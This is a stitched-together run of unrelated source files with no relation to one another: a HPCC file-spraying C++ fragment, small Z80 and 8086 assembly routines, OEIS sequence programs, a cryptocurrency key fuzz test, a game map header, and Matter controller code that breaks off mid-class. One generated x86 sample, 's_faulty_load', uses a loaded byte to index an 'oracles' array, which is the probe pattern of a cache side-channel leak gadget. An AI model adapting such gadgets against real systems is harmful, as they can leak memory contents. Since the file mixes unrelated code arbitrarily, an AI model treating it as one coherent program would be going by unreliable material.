curTarget = targets.item(cur.whichOutput); if (!curTarget.modifiedTime.isNull()) { CDateTime temp; StringBuffer timestr; temp.set(curTarget.modifiedTime); unsigned hour, min, sec, nanosec; temp.getTime(hour, min, sec, nanosec); temp.setTime(hour, min, sec, 0); curProps.setProp("@modified", temp.getString(timestr).str()); } if ((distributedSource != distributedTarget) && (cur.whichInput != (unsigned)-1)) { FilePartInfo & curSource = sources.item(cur.whichInput); if (curSource.properties) { Owned<IAttributeIterator> aiter = curSource.properties->getAttributes(); ForEach(*aiter) { const char *aname = aiter->queryName(); if ( !( strieq(aname,"@fileCrc") || strieq(aname,"@modified") || strieq(aname,"@node") || strieq(aname,"@num") || strieq(aname,"@size") || strieq(aname,"@name") ) || ( strieq(aname,"@recordCount") && (sources.ordinality() == targets.ordinality()) ) ) curProps.setProp(aname,aiter->queryValue()); } } } curPart->unlockProperties(); partCRC.clear(); partLength = 0; partCompressedLength = 0; } } if (failedParts.length()) error.setown(MakeStringException(DFTERR_InputOutputCrcMismatch, "%s", failedParts.str())); DistributedFilePropertyLock lock(distributedTarget); IPropertyTree &curProps = lock.queryAttributes(); if (calcCRC()) curProps.setPropInt(FAcrc, totalCRC.get()); curProps.setPropInt64(FAsize, totalLength); if (totalCompressedSize != 0) curProps.setPropInt64(FAcompressedSize, totalCompressedSize); unsigned rs = curProps.getPropInt(FArecordSize); // set by user bool gotrc = false; if (rs && (totalLength%rs == 0)) { curProps.setPropInt64(FArecordCount,totalLength/(offset_t)rs); gotrc = true; } if (sameSizeHeaderFooter && ((srcFormat.markup == FMTjson ) || (srcFormat.markup == FMTxml))) { curProps.setPropInt64(FPheaderLength, headerSize); curProps.setPropInt64(FPfooterLength, footerSize); } if (srcAttr.get() && !mirroring) { StringBuffer s; // copy some attributes (do as iterator in case we want to change to *exclude* some Owned<IAttributeIterator> aiter = srcAttr->getAttributes(); ForEach(*aiter) { const char *aname = aiter->queryName(); if (!curProps.hasProp(aname)&& ((stricmp(aname,"@job")==0)|| (stricmp(aname,"@workunit")==0)|| (stricmp(aname,"@description")==0)|| (stricmp(aname,"@eclCRC")==0)|| (stricmp(aname,"@formatCrc")==0)|| (stricmp(aname,"@owner")==0)|| ((stricmp(aname,FArecordCount)==0)&&!gotrc) || ((stricmp(aname,"@blockCompressed")==0)&&copyCompressed) || ((stricmp(aname,"@rowCompressed")==0)&&copyCompressed)|| (stricmp(aname,"@local")==0)|| (stricmp(aname,"@recordCount")==0) ) ) curProps.setProp(aname,aiter->queryValue()); } // Keep source kind if (srcAttr->hasProp(FPkind)) { curProps.setProp(FPkind, srcAttr->queryProp(FPkind)); if (srcAttr->hasProp(FPformat)) curProps.setProp(FPformat, srcAttr->queryProp(FPformat)); } else { const char * targetKind = nullptr; if (tgtFormat.markup == FMTxml) targetKind = "xml"; else if (tgtFormat.markup == FMTjson) targetKind = "json"; const char * targetFormat = nullptr; switch (tgtFormat.type) { case FFTfixed: case FFTvariable: case FFTblocked: targetKind = "flat"; break; case FFTcsv: targetKind = "csv"; break; case FFTutf: targetFormat = "utf8n"; break; case FFTutf8: targetFormat = "utf8"; break; case FFTutf16: targetFormat = "utf16"; break; case FFTutf16be: targetFormat = "utf16be"; break; case FFTutf16le: targetFormat = "utf16le"; break; case FFTutf32: targetFormat = "utf32"; break; case FFTutf32be: targetFormat = "utf32be"; break; case FFTutf32le: targetFormat = "utf32le"; break; case FFTrecfmvb: targetFormat = "recfmvb"; break; case FFTrecfmv: targetFormat = "recfmv"; break; case FFTvariablebigendian: targetFormat = "variablebigendian"; break; } if (targetKind) curProps.setProp(FPkind, targetKind); if (targetFormat) curProps.setProp(FPformat, targetFormat); } // and simple (top level) elements // History copied as well Owned<IPropertyTreeIterator> iter = srcAttr->getElements("*"); ForEach(*iter) { const char *aname = iter->query().queryName(); if (stricmp(aname, "Protect") != 0) curProps.addPropTree(aname, createPTreeFromIPT(&iter->query())); } // // Add new History record // IPropertyTree * curHistory = curProps.queryPropTree("History"); // If there wasn't previous History (like Spray/Import) if (!curHistory) curHistory = curProps.setPropTree("History", createPTree()); // Add new record about this operation Owned<IPropertyTree> newRecord = createPTree(); CDateTime temp; temp.setNow(); unsigned hour, min, sec, nanosec; temp.getTime(hour, min, sec, nanosec); temp.setTime(hour, min, sec, 0); StringBuffer timestr; newRecord->setProp("@timestamp",temp.getString(timestr).str()); newRecord->setProp("@owner", srcAttr->queryProp("@owner")); if (srcAttr->hasProp("@workunit")) newRecord->setProp("@workunit", srcAttr->queryProp("@workunit")); newRecord->setProp("@operation", getOperationTypeString()); // In Spray case there is not distributedSource if (distributedSource) { // add original file name from a single distributed source (like Copy) if (distributedSource->numParts()) { RemoteFilename remoteFile; distributedSource->queryPart(0).getFilename(remoteFile, 0); splitAndCollectFileInfo(newRecord, remoteFile); } } else if (sources.ordinality()) { FilePartInfo & firstSource = sources.item((aindex_t)0); RemoteFilename &remoteFile = firstSource.filename; splitAndCollectFileInfo(newRecord, remoteFile, false); } curHistory->addPropTree("Origin",newRecord.getClear()); } int expireDays = options->getPropInt("@expireDays", -1); if (expireDays != -1) curProps.setPropInt("@expireDays", expireDays); } if (error) throw error.getClear(); } void FileSprayer::splitAndCollectFileInfo(IPropertyTree * newRecord, RemoteFilename &remoteFileName, bool isDistributedSource) { StringBuffer drive; StringBuffer path; StringBuffer tail; StringBuffer ext; remoteFileName.split(&drive, &path, &tail, &ext); if (drive.isEmpty()) { remoteFileName.queryIP().getIpText(drive.clear()); newRecord->setProp("@ip", drive.str()); } else newRecord->setProp("@drive", drive.str()); newRecord->setProp("@path", path.str()); // We don't want to store distributed file parts name extension if (!isDistributedSource && ext.length()) tail.append(ext); if (sources.ordinality()>1) newRecord->setProp("@name", "[MULTI]"); else newRecord->setProp("@name", tail.str()); } void FileSprayer::setOperation(dfu_operation op) { operation = op; } dfu_operation FileSprayer::getOperation() const { return operation; } const char * FileSprayer::getOperationTypeString() const { return DfuOperationStr[operation]; } bool FileSprayer::usePullOperation() const { if (!calcedPullPush) { calcedPullPush = true; cachedUsePull = calcUsePull(); } return cachedUsePull; } bool FileSprayer::usePushOperation() const { return !usePullOperation() && !usePushWholeOperation(); } bool FileSprayer::canLocateSlaveForNode(const IpAddress &ip) const { try { StringBuffer ret; querySlaveExecutable(ip, ret); return true; } catch (IException * e) { e->Release(); } return false; } bool FileSprayer::calcUsePull() const { if (allowRecovery && progressTree->hasProp(ANpull)) { bool usePull = progressTree->getPropBool(ANpull); LOG(MCdebugInfo, job, "Pull = %d from recovery", (int)usePull); return usePull; } if (sources.ordinality() == 0) return true; if (options->getPropBool(ANpull, false)) { LOG(MCdebugInfo, job, "Use pull since explicitly specified"); return true; } if (options->getPropBool(ANpush, false)) { LOG(MCdebugInfo, job, "Use push since explicitly specified"); return false; } ForEachItemIn(idx2, sources) { if (!sources.item(idx2).canPush()) { StringBuffer s; sources.item(idx2).filename.queryIP().getIpText(s); LOG(MCdebugInfo, job, "Use pull operation because %s cannot push", s.str()); return true; } } if (!canLocateSlaveForNode(sources.item(0).filename.queryIP())) { StringBuffer s; sources.item(0).filename.queryIP().getIpText(s); LOG(MCdebugInfo, job, "Use pull operation because %s doesn't appear to have an ftslave", s.str()); return true; } ForEachItemIn(idx, targets) { if (!targets.item(idx).canPull()) { StringBuffer s; targets.item(idx).queryIP().getIpText(s); LOG(MCdebugInfo, job, "Use push operation because %s cannot pull", s.str()); return false; } } if (!canLocateSlaveForNode(targets.item(0).queryIP())) { StringBuffer s; targets.item(0).queryIP().getIpText(s); LOG(MCdebugInfo, job, "Use push operation because %s doesn't appear to have an ftslave", s.str()); return false; } //Use push if going to a single node. if ((targets.ordinality() == 1) && (sources.ordinality() > 1)) { LOG(MCdebugInfo, job, "Use push operation because going to a single node from many"); return false; } LOG(MCdebugInfo, job, "Use pull operation as default"); return true; } extern DALIFT_API IFileSprayer * createFileSprayer(IPropertyTree * _options, IPropertyTree * _progress, IRemoteConnection * recoveryConnection, const char *wuid) { return new FileSprayer(_options, _progress, recoveryConnection, wuid); } /* Parameters: 1. A list of target locations (machine+drive?) (and possibly a number for each) 2. A list of source locations [derived from logical file] 3. Information on the source and target formats 3. A mask for the parts that need to be copied. [recovery is special case of this] Need to a) Start servers on machines that cannot be accessed directly [have to be running anyway] b) Work out how the file is going to be partioned 1. Find out the sizes of all the files. 2. Calculation partion points - For each source file pass [thisoffset, totalsize, thissize, startPoint?], and returns a list of numbered partion points. Two calls: calcPartion() and retreivePartion() to allow for multithreading on variable length. A. If variable length Start servers on each of the source machines Query each server for partion information (which walks file). * If N->N copy don't need to calculate the partion, can do it one a 1:1 mapping. E.g. copy variable to blocked format with one block per variable. c) Save partion information for quick/consistent recovery d) Start servers on each of the targets or source for push to non-accessible e) Start pulling/pushing Each saves flag when complete for recovery */ //---------------------------------------------------------------------------- void testPartitions() { unsigned sizes[] = { 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 10, }; unsigned parts = _elements_in(sizes); unsigned offsets[_elements_in(sizes)]; unsigned targetParts = 20; unsigned recordSize = 20; unsigned totalSize =0; unsigned idx; for (idx = 0; idx < parts; idx++) { offsets[idx] = totalSize; totalSize += sizes[idx]; } PartitionPointArray results; for (idx = 0; idx < parts; idx++) { CFixedPartitioner partitioner(recordSize); partitioner.setPartitionRange(totalSize, offsets[idx], sizes[idx], 0, targetParts); partitioner.calcPartitions(NULL); partitioner.getResults(results); } ForEachItemIn(idx2, results) results.item(idx2).display(); } /* MORE: * What about multiple parts for a source file - what should we do with them? Ignore? Try if * Pushing - how do we manage it? A. Copy all at once. 1. For simple non-translation easy to copy all at once. 2. For others, could hook up a translator so it only calculates the target size. Problem is it is a reasonably complex interaction with the partitioner. Easier to implement, but not as efficient, as a separate pass. - Optimize for variable to VBX. B. Copy a chunk at a time 1. The first source for each chunk write in parallel, followed by the next. - okay if not all writing to a single large file. * Unreachable machines 1. Can I use message passing? 2. Mock up + test code [ need multi threading access ]. 3. Implement an exists primitive. 4. How do I distinguish machines? * Main program needs to survive if slave nodes die. * Asynchronus calls + avoiding the thread switching for notifications? * Code for replicating parts - set up as a copy from fixed1 to fixed1, which partition matching sources. */
; You may customize this and other start-up templates; ; The location of this template is c:\emu8086\inc\0_com_template.txt org 100h A DB 5 DUP(2) ret
; ; Small C z88 Character functions ; Written by Dominic Morris <djm@jb.man.ac.uk> ; 22 August 1998 ; ; 17/2/99 djm ; ; $Id: isalpha.asm,v 1.7 2016-03-06 21:41:15 dom Exp $ ; SECTION code_clib PUBLIC _isalpha PUBLIC isalpha EXTERN asm_isalpha ; FASTCALL ._isalpha .isalpha ld a,l call asm_isalpha ld hl,1 ret nc dec l ret
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x11145, %rsi lea addresses_WT_ht+0x9be5, %rdi nop nop cmp %rdx, %rdx mov $61, %rcx rep movsb nop nop nop nop sub $39308, %r12 lea addresses_WC_ht+0x2fdf, %rbp nop nop nop xor $22211, %rcx movb (%rbp), %r12b nop nop nop nop nop and %rbp, %rbp lea addresses_WT_ht+0x172a5, %rdx nop nop nop sub $36479, %rdi mov (%rdx), %bp nop nop nop nop nop dec %rdi lea addresses_A_ht+0x18b0d, %rsi nop nop nop nop and %r13, %r13 movw $0x6162, (%rsi) nop and $22369, %rdi lea addresses_D_ht+0xc4f3, %r13 clflush (%r13) nop nop nop nop cmp $62753, %rcx mov (%r13), %esi cmp $28875, %rcx lea addresses_UC_ht+0x62cf, %rsi lea addresses_D_ht+0xbef7, %rdi nop nop nop nop sub $7146, %r12 mov $9, %rcx rep movsw nop inc %rdx lea addresses_UC_ht+0x17e5, %rdx clflush (%rdx) nop nop nop sub $39759, %rsi mov $0x6162636465666768, %r13 movq %r13, %xmm3 vmovups %ymm3, (%rdx) nop nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x123a1, %r12 nop nop nop nop add %r13, %r13 movl $0x61626364, (%r12) nop nop dec %rsi lea addresses_WC_ht+0x15c11, %rsi lea addresses_normal_ht+0x3925, %rdi nop nop sub %r11, %r11 mov $15, %rcx rep movsb cmp %r11, %r11 lea addresses_WT_ht+0x1d7e5, %rsi lea addresses_D_ht+0x19665, %rdi clflush (%rdi) and %r12, %r12 mov $17, %rcx rep movsw nop xor %rsi, %rsi lea addresses_WC_ht+0x14de5, %r11 nop nop nop nop add $64203, %rdi mov $0x6162636465666768, %r13 movq %r13, %xmm5 vmovups %ymm5, (%r11) nop sub $52621, %rcx lea addresses_normal_ht+0x15265, %rbp nop nop nop nop nop xor %r12, %r12 movb (%rbp), %r11b nop add %rbp, %rbp lea addresses_A_ht+0x250c, %rsi nop and $56852, %rdi movb $0x61, (%rsi) nop xor %rdx, %rdx lea addresses_normal_ht+0x9be5, %rcx nop sub $4144, %rsi mov $0x6162636465666768, %r11 movq %r11, %xmm3 vmovups %ymm3, (%rcx) nop nop nop nop nop add %rsi, %rsi lea addresses_WT_ht+0x19bd5, %rsi nop nop nop nop nop and $5959, %rdi mov $0x6162636465666768, %r11 movq %r11, (%rsi) xor $56614, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rax push %rdi // Faulty Load mov $0x7e5, %rdi nop nop nop nop nop and %r10, %r10 mov (%rdi), %rax lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov (%r10,%rax,1), %rax pop %rdi pop %rax pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_P', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 120} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Copyright (c) 2020 The Wflscoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <chainparams.h> #include <chainparamsbase.h> #include <key.h> #include <key_io.h> #include <outputtype.h> #include <policy/policy.h> #include <pubkey.h> #include <rpc/util.h> #include <script/keyorigin.h> #include <script/script.h> #include <script/sign.h> #include <script/signingprovider.h> #include <script/standard.h> #include <streams.h> #include <test/fuzz/fuzz.h> #include <util/strencodings.h> #include <cassert> #include <cstdint> #include <numeric> #include <string> #include <vector> void initialize_key() { static const ECCVerifyHandle ecc_verify_handle; ECC_Start(); SelectParams(CBaseChainParams::REGTEST); } FUZZ_TARGET_INIT(key, initialize_key) { const CKey key = [&] { CKey k; k.Set(buffer.begin(), buffer.end(), true); return k; }(); if (!key.IsValid()) { return; } { assert(key.begin() + key.size() == key.end()); assert(key.IsCompressed()); assert(key.size() == 32); assert(DecodeSecret(EncodeSecret(key)) == key); } { CKey invalid_key; assert(!(invalid_key == key)); assert(!invalid_key.IsCompressed()); assert(!invalid_key.IsValid()); assert(invalid_key.size() == 0); } { CKey uncompressed_key; uncompressed_key.Set(buffer.begin(), buffer.end(), false); assert(!(uncompressed_key == key)); assert(!uncompressed_key.IsCompressed()); assert(key.size() == 32); assert(uncompressed_key.begin() + uncompressed_key.size() == uncompressed_key.end()); assert(uncompressed_key.IsValid()); } { CKey copied_key; copied_key.Set(key.begin(), key.end(), key.IsCompressed()); assert(copied_key == key); } { CKey negated_key = key; negated_key.Negate(); assert(negated_key.IsValid()); assert(!(negated_key == key)); negated_key.Negate(); assert(negated_key == key); } const uint256 random_uint256 = Hash(buffer); { CKey child_key; ChainCode child_chaincode; const bool ok = key.Derive(child_key, child_chaincode, 0, random_uint256); assert(ok); assert(child_key.IsValid()); assert(!(child_key == key)); assert(child_chaincode != random_uint256); } const CPubKey pubkey = key.GetPubKey(); { assert(pubkey.size() == 33); assert(key.VerifyPubKey(pubkey)); assert(pubkey.GetHash() != random_uint256); assert(pubkey.begin() + pubkey.size() == pubkey.end()); assert(pubkey.data() == pubkey.begin()); assert(pubkey.IsCompressed()); assert(pubkey.IsValid()); assert(pubkey.IsFullyValid()); assert(HexToPubKey(HexStr(pubkey)) == pubkey); assert(GetAllDestinationsForKey(pubkey).size() == 3); } { CDataStream data_stream{SER_NETWORK, INIT_PROTO_VERSION}; pubkey.Serialize(data_stream); CPubKey pubkey_deserialized; pubkey_deserialized.Unserialize(data_stream); assert(pubkey_deserialized == pubkey); } { const CScript tx_pubkey_script = GetScriptForRawPubKey(pubkey); assert(!tx_pubkey_script.IsPayToScriptHash()); assert(!tx_pubkey_script.IsPayToWitnessScriptHash()); assert(!tx_pubkey_script.IsPushOnly()); assert(!tx_pubkey_script.IsUnspendable()); assert(tx_pubkey_script.HasValidOps()); assert(tx_pubkey_script.size() == 35); const CScript tx_multisig_script = GetScriptForMultisig(1, {pubkey}); assert(!tx_multisig_script.IsPayToScriptHash()); assert(!tx_multisig_script.IsPayToWitnessScriptHash()); assert(!tx_multisig_script.IsPushOnly()); assert(!tx_multisig_script.IsUnspendable()); assert(tx_multisig_script.HasValidOps()); assert(tx_multisig_script.size() == 37); FillableSigningProvider fillable_signing_provider; assert(IsSolvable(fillable_signing_provider, tx_pubkey_script)); assert(IsSolvable(fillable_signing_provider, tx_multisig_script)); assert(!IsSegWitOutput(fillable_signing_provider, tx_pubkey_script)); assert(!IsSegWitOutput(fillable_signing_provider, tx_multisig_script)); assert(fillable_signing_provider.GetKeys().size() == 0); assert(!fillable_signing_provider.HaveKey(pubkey.GetID())); const bool ok_add_key = fillable_signing_provider.AddKey(key); assert(ok_add_key); assert(fillable_signing_provider.HaveKey(pubkey.GetID())); FillableSigningProvider fillable_signing_provider_pub; assert(!fillable_signing_provider_pub.HaveKey(pubkey.GetID())); const bool ok_add_key_pubkey = fillable_signing_provider_pub.AddKeyPubKey(key, pubkey); assert(ok_add_key_pubkey); assert(fillable_signing_provider_pub.HaveKey(pubkey.GetID())); TxoutType which_type_tx_pubkey; const bool is_standard_tx_pubkey = IsStandard(tx_pubkey_script, which_type_tx_pubkey); assert(is_standard_tx_pubkey); assert(which_type_tx_pubkey == TxoutType::PUBKEY); TxoutType which_type_tx_multisig; const bool is_standard_tx_multisig = IsStandard(tx_multisig_script, which_type_tx_multisig); assert(is_standard_tx_multisig); assert(which_type_tx_multisig == TxoutType::MULTISIG); std::vector<std::vector<unsigned char>> v_solutions_ret_tx_pubkey; const TxoutType outtype_tx_pubkey = Solver(tx_pubkey_script, v_solutions_ret_tx_pubkey); assert(outtype_tx_pubkey == TxoutType::PUBKEY); assert(v_solutions_ret_tx_pubkey.size() == 1); assert(v_solutions_ret_tx_pubkey[0].size() == 33); std::vector<std::vector<unsigned char>> v_solutions_ret_tx_multisig; const TxoutType outtype_tx_multisig = Solver(tx_multisig_script, v_solutions_ret_tx_multisig); assert(outtype_tx_multisig == TxoutType::MULTISIG); assert(v_solutions_ret_tx_multisig.size() == 3); assert(v_solutions_ret_tx_multisig[0].size() == 1); assert(v_solutions_ret_tx_multisig[1].size() == 33); assert(v_solutions_ret_tx_multisig[2].size() == 1); OutputType output_type{}; const CTxDestination tx_destination = GetDestinationForKey(pubkey, output_type); assert(output_type == OutputType::LEGACY); assert(IsValidDestination(tx_destination)); assert(CTxDestination{PKHash{pubkey}} == tx_destination); const CScript script_for_destination = GetScriptForDestination(tx_destination); assert(script_for_destination.size() == 25); const std::string destination_address = EncodeDestination(tx_destination); assert(DecodeDestination(destination_address) == tx_destination); const CPubKey pubkey_from_address_string = AddrToPubKey(fillable_signing_provider, destination_address); assert(pubkey_from_address_string == pubkey); CKeyID key_id = pubkey.GetID(); assert(!key_id.IsNull()); assert(key_id == CKeyID{key_id}); assert(key_id == GetKeyForDestination(fillable_signing_provider, tx_destination)); CPubKey pubkey_out; const bool ok_get_pubkey = fillable_signing_provider.GetPubKey(key_id, pubkey_out); assert(ok_get_pubkey); CKey key_out; const bool ok_get_key = fillable_signing_provider.GetKey(key_id, key_out); assert(ok_get_key); assert(fillable_signing_provider.GetKeys().size() == 1); assert(fillable_signing_provider.HaveKey(key_id)); KeyOriginInfo key_origin_info; const bool ok_get_key_origin = fillable_signing_provider.GetKeyOrigin(key_id, key_origin_info); assert(!ok_get_key_origin); } { const std::vector<unsigned char> vch_pubkey{pubkey.begin(), pubkey.end()}; assert(CPubKey::ValidSize(vch_pubkey)); assert(!CPubKey::ValidSize({pubkey.begin(), pubkey.begin() + pubkey.size() - 1})); const CPubKey pubkey_ctor_1{vch_pubkey}; assert(pubkey == pubkey_ctor_1); const CPubKey pubkey_ctor_2{vch_pubkey.begin(), vch_pubkey.end()}; assert(pubkey == pubkey_ctor_2); CPubKey pubkey_set; pubkey_set.Set(vch_pubkey.begin(), vch_pubkey.end()); assert(pubkey == pubkey_set); } { const CPubKey invalid_pubkey{}; assert(!invalid_pubkey.IsValid()); assert(!invalid_pubkey.IsFullyValid()); assert(!(pubkey == invalid_pubkey)); assert(pubkey != invalid_pubkey); assert(pubkey < invalid_pubkey); } { // Cover CPubKey's operator[](unsigned int pos) unsigned int sum = 0; for (size_t i = 0; i < pubkey.size(); ++i) { sum += pubkey[i]; } assert(std::accumulate(pubkey.begin(), pubkey.end(), 0U) == sum); } { CPubKey decompressed_pubkey = pubkey; assert(decompressed_pubkey.IsCompressed()); const bool ok = decompressed_pubkey.Decompress(); assert(ok); assert(!decompressed_pubkey.IsCompressed()); assert(decompressed_pubkey.size() == 65); } { std::vector<unsigned char> vch_sig; const bool ok = key.Sign(random_uint256, vch_sig, false); assert(ok); assert(pubkey.Verify(random_uint256, vch_sig)); assert(CPubKey::CheckLowS(vch_sig)); const std::vector<unsigned char> vch_invalid_sig{vch_sig.begin(), vch_sig.begin() + vch_sig.size() - 1}; assert(!pubkey.Verify(random_uint256, vch_invalid_sig)); assert(!CPubKey::CheckLowS(vch_invalid_sig)); } { std::vector<unsigned char> vch_compact_sig; const bool ok_sign_compact = key.SignCompact(random_uint256, vch_compact_sig); assert(ok_sign_compact); CPubKey recover_pubkey; const bool ok_recover_compact = recover_pubkey.RecoverCompact(random_uint256, vch_compact_sig); assert(ok_recover_compact); assert(recover_pubkey == pubkey); } { CPubKey child_pubkey; ChainCode child_chaincode; const bool ok = pubkey.Derive(child_pubkey, child_chaincode, 0, random_uint256); assert(ok); assert(child_pubkey != pubkey); assert(child_pubkey.IsCompressed()); assert(child_pubkey.IsFullyValid()); assert(child_pubkey.IsValid()); assert(child_pubkey.size() == 33); assert(child_chaincode != random_uint256); } const CPrivKey priv_key = key.GetPrivKey(); { for (const bool skip_check : {true, false}) { CKey loaded_key; const bool ok = loaded_key.Load(priv_key, pubkey, skip_check); assert(ok); assert(key == loaded_key); } } }
; Test case: org #4000 db "AB", loop % 256, loop / 256, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ds ((#6000 / 8192) * 8192) - $, 0 org (#6000 / 8192) * 8192 ds 8192 - ($ - ((#6000 / 8192) * 8192)), 0 org (#6000 / 8192) * 8192 loop: jp loop push af ld a, 1 ld (#6000), a pop af ld a, 3 ld (#7000), a ld b, 5 push af ld a, b ld (#8000), a pop af ds #8000 - $, 0
IndigoPlateauLobby_h: db MART ; tileset db INDIGO_PLATEAU_LOBBY_HEIGHT, INDIGO_PLATEAU_LOBBY_WIDTH ; dimensions (y, x) dw IndigoPlateauLobby_Blocks ; blocks dw IndigoPlateauLobby_TextPointers ; texts dw IndigoPlateauLobby_Script ; scripts db 0 ; connections dw IndigoPlateauLobby_Object ; objects
; A285705: a(n) = 2*n - A285703(n) = 2*n - A000203(A064216(n)). ; 1,1,2,2,3,4,2,4,4,2,4,4,13,13,6,2,10,12,6,4,4,2,18,4,19,10,6,24,4,6,2,22,18,6,10,4,2,37,30,6,51,4,30,16,6,20,4,24,8,44,4,2,34,4,2,16,4,36,34,36,65,10,86,14,4,4,26,76,6,2,10,48,50,55,10,2,56,36,6,16,42,6,70,4,37,46,6,98,16,6,2,4,58,76,100,10,2,52,4,2 mov $2,$0 seq $0,285703 ; a(n) = A000203(A064216(n)). sub $0,$2 mov $1,1 sub $2,$0 add $1,$2 mov $0,$1 add $0,1
; ; Galaksija C Library ; ; getk() Read key status ; ; Stefano Bodrato - Apr. 2008 ; ; ; $Id: getk.asm,v 1.2 2015/01/19 01:33:20 pauloscustodio Exp $ ; PUBLIC getk .getk call $cf5 ld l,a ld h,0 ret
; A229665: Number of defective 4-colorings of an nX1 0..3 array connected horizontally, antidiagonally and vertically with exactly two mistakes, and colors introduced in row-major 0..3 order ; 0,0,1,3,12,50,210,861,3416,13140,49230,180455,649572,2302950,8060234,27900705,95659440,325241960,1097691462,3680494731,12268315580,40679151450,134241199554,441078226853,1443528742152,4707158941500,15298266559550,49566383652591,160137547184916,515998763150990,1658567452984890,5318854245778665 mov $2,$0 sub $0,1 cal $0,229472 ; Number of defective 4-colorings of an n X 1 0..3 array connected horizontally, antidiagonally and vertically with exactly one mistake, and colors introduced in row-major 0..3 order. mul $0,$2 mov $1,$0 div $1,2
/* * * Copyright (c) 2021 Project CHIP Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <memory> #include <controller/CHIPDeviceController.h> #include <controller/ExampleOperationalCredentialsIssuer.h> #include <credentials/DeviceAttestationVerifier.h> #include <credentials/examples/DeviceAttestationVerifierExample.h> #include <lib/support/CodeUtils.h> #include <lib/support/ScopedBuffer.h> #include <lib/support/ThreadOperationalDataset.h> #include <lib/support/logging/CHIPLogging.h> #include <platform/CHIPDeviceLayer.h> #include <platform/KeyValueStoreManager.h> #include "ChipThreadWork.h" namespace { class ServerStorageDelegate : public chip::PersistentStorageDelegate { public: CHIP_ERROR SyncGetKeyValue(const char * key, void * buffer, uint16_t & size) override { return chip::DeviceLayer::PersistedStorage::KeyValueStoreMgr().Get(key, buffer, size); } CHIP_ERROR SyncSetKeyValue(const char * key, const void * value, uint16_t size) override { return chip::DeviceLayer::PersistedStorage::KeyValueStoreMgr().Put(key, value, size); } CHIP_ERROR SyncDeleteKeyValue(const char * key) override { return chip::DeviceLayer::PersistedStorage::KeyValueStoreMgr().Delete(key); } }; // FIXME: implement this class class ScriptDevicePairingDelegate final : public chip::Controller::DevicePairingDelegate { public: using OnPairingCompleteCallback = void (*)(CHIP_ERROR err); ~ScriptDevicePairingDelegate() = default; void OnPairingComplete(CHIP_ERROR error) override { if (mPairingComplete == nullptr) { ChipLogError(Controller, "Callback for pairing coomplete is not defined."); return; } mPairingComplete(error); } void 